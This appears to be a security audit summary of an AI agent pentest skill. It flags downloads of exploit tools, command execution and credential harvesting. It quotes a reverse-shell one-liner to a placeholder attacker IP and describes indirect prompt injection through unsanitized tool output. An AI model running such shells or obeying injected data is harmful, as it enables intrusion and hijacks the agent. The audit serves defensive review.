The Agent Skills Directory

[EXTERNAL_DOWNLOADS]: The skill recommends fetching tools and dependencies from unverified third-party sources, such as git clone https://github.com/ippsec/evil-cups.git in reference/scenarios/network-recon/cups-browsed-rce.md and git clone https://github.com/nccgroup/singularity in reference/scenarios/dns/dns-rebinding.md.- [REMOTE_CODE_EXECUTION]: Instructions involve downloading, building, and executing code from external repositories (e.g., the evil-cups exploitation tool and singularity rebinding framework) which can lead to the execution of arbitrary code in the agent's environment.- [COMMAND_EXECUTION]: The skill makes extensive use of sudo and shell redirection for network tasks. It explicitly includes a reverse shell payload example: bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1 in reference/scenarios/network-recon/cups-browsed-rce.md. It also includes templates for code injection, such as Cheetah SSTI payloads in reference/service-enum.md.- [INDIRECT_PROMPT_INJECTION]: The skill has a high vulnerability surface where untrusted data—including raw network packets via tcpdump (in reference/scenarios/sniffing/promiscuous-capture.md), service banners via nmap (in reference/scenarios/network-recon/service-fingerprinting.md), and remote files via smbclient (in reference/scenarios/smb/share-spidering.md)—is ingested into the agent context without boundary markers or sanitization, potentially allowing external data to influence the agent's actions.- [DATA_EXFILTRATION]: Documents methodologies for harvesting credentials, session tokens, and sensitive files, such as using snmpwalk to dump process arguments in reference/service-enum.md and smbmap for recursive share spidering in reference/scenarios/smb/share-spidering.md.

infrastructure